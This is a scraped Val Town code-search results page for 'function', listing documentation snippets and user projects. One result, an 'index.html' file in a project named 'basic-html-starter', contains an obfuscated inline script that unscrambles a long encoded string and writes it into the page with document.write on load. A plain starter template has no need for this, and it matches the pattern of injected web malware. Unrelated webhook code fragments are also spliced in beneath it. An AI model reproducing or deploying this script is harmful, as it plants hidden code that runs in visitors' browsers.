Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run//%22?q=function&page=3&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 40465 results for "function"(1559ms)

JavaScript SDK409 words

https://docs.val.town/api/sdk/
to your package.json file. index.mjs import ValTown from "@valtown/sdk"; const valTown = new ValTown(); async function main() { const myProfile = await valTown.me.profile.retrieve(); console.log(myProfile); } main(); Finally, the API expects

Sections

Getting started in Node.js

to your package.json file. index.mjs import ValTown from "@valtown/sdk"; const valTown = new ValTown(); async function main() { const myProfile = await valTown.me.profile.retrieve(); console.log(myProfile); } main(); Finally, the API expects

Express410 words

https://docs.val.town/legacy-vals/express/
webhook handler to adhere to another service’s specifications (example val). The Val must be a function. It is passed two arguments, the Express req and res objects. You can use

Sections

Express

webhook handler to adhere to another service’s specifications (example val). The Val must be a function. It is passed two arguments, the Express req and res objects. You can use

Blob Storage414 words

https://docs.val.town/std/blob/
ValTownBlobError for unexpected errors. Utilities. Section titled “Utilities” Our Blob SDK also includes some utility functions to make working with blobs easier. Copy. Section titled “Copy” Copy import { blob

Sections

Utilities

Utilities. Section titled “Utilities” Our Blob SDK also includes some utility functions to make working with blobs easier.

AWS S3483 words

https://docs.val.town/integrations/s3/
Ask questions about this page. You can upload and download from AWS S3 inside val functions. In this guide, you’ll create an AWS bucket, an IAM user, and then test

Sections

AWS S3

Ask questions about this page. You can upload and download from AWS S3 inside val functions. In this guide, you’ll create an AWS bucket, an IAM user, and then test

Upgrading Legacy Vals513 words

https://docs.val.town/upgrading/legacy-vals/
Here’s how you can handle folders: Do nothing: Upgrade vals individually; they remain separate but functional. Manual consolidation: Upgrade the main val first, then manually copy & paste other vals’

Sections

Legacy Val Folders

Here’s how you can handle folders: Do nothing: Upgrade vals individually; they remain separate but functional. Manual consolidation: Upgrade the main val first, then manually copy & paste other vals’

Gmail571 words

https://docs.val.town/integrations/gmail/
email trigger. In that val, log the email object to the console: export default async function (e: Email) { console.log(e); } Copy that email trigger’s email address. In Gmail Forwarding

Sections

Gmail forwarding to Val Town

email trigger. In that val, log the email object to the console: export default async function (e: Email) { console.log(e); } Copy that email trigger’s email address. In Gmail Forwarding

Telegram bot584 words

https://docs.val.town/integrations/telegram/
of this guide, which makes the HTTP calls to telegram more directly with simpler helper function. 1. Create your bot. Section titled “1. Create your bot” Telegram has the best

Sections

Introduction

of this guide, which makes the HTTP calls to telegram more directly with simpler helper function.

Google Sheets1356 words

https://docs.val.town/integrations/google-sheets/
ACCOUNT ID HERE>"; const sheetID = "<YOUR SHEET ID HERE>"; const baseURL = `https://sheets.googleapis.com/v4/spreadsheets/${sheetID}/values`; async function fetchAccessToken() { const response = await fetch( `https://api.pipedream.com/v1/accounts/${accountID}?include_credentials=1`, { headers: { Authorization: `Bearer ${Deno.env.get("pipedream_api_key")}`,

Sections

6. Fetch a Google Sheets access token and use it in your val

ACCOUNT ID HERE>"; const sheetID = "<YOUR SHEET ID HERE>"; const baseURL = `https://sheets.googleapis.com/v4/spreadsheets/${sheetID}/values`; async function fetchAccessToken() { const response = await fetch( `https://api.pipedream.com/v1/accounts/${accountID}?include_credentials=1`, { headers: { Authorization: `Bearer ${Deno.env.get("pipedream_api_key")}`,

Discord bot692 words

https://docs.val.town/integrations/discord/how-to-make-a-discord-bot-hosted-24-7-for-free-in-/
is a social website to write, run, and host JavaScript. You can create APIs, scheduled functions, email yourself, and persist small pieces of data — all from the browser and

Sections

Step 3: Login to Val Town

is a social website to write, run, and host JavaScript. You can create APIs, scheduled functions, email yourself, and persist small pieces of data — all from the browser and

Permissions935 words

https://docs.val.town/reference/permissions/
Town Discord notification. // Translates one kind of webhook (Clerk) into another (Discord). export async function handleDiscordNewUser(req: express.Request, res) { // check custom auth secret sent from clerk. if (req.get("auth")

Sections

Custom Authentication

Town Discord notification. // Translates one kind of webhook (Clerk) into another (Discord). export async function handleDiscordNewUser(req: express.Request, res) { // check custom auth secret sent from clerk. if (req.get("auth")

basic-html-starterindex.html1 match

@evermind•Updated 7 hours ago
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
4import { extractAgentProperties } from "../utils/notion.helpers.ts";
5
6export async function handleUrlWebhook(c: Context) {
7 console.log("Processing URL update webhook request");
8
75}
76
77export async function handleAssignWebhook(c: Context) {
78 console.log("Processing task assignment webhook request");
79

ratelimit4 file matches

@unkey•Updated 1 month ago
Rate limit your serverless functions

discordWebhook2 file matches

@stevekrouse•Updated 2 months ago
Helper function to send Discord messages
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.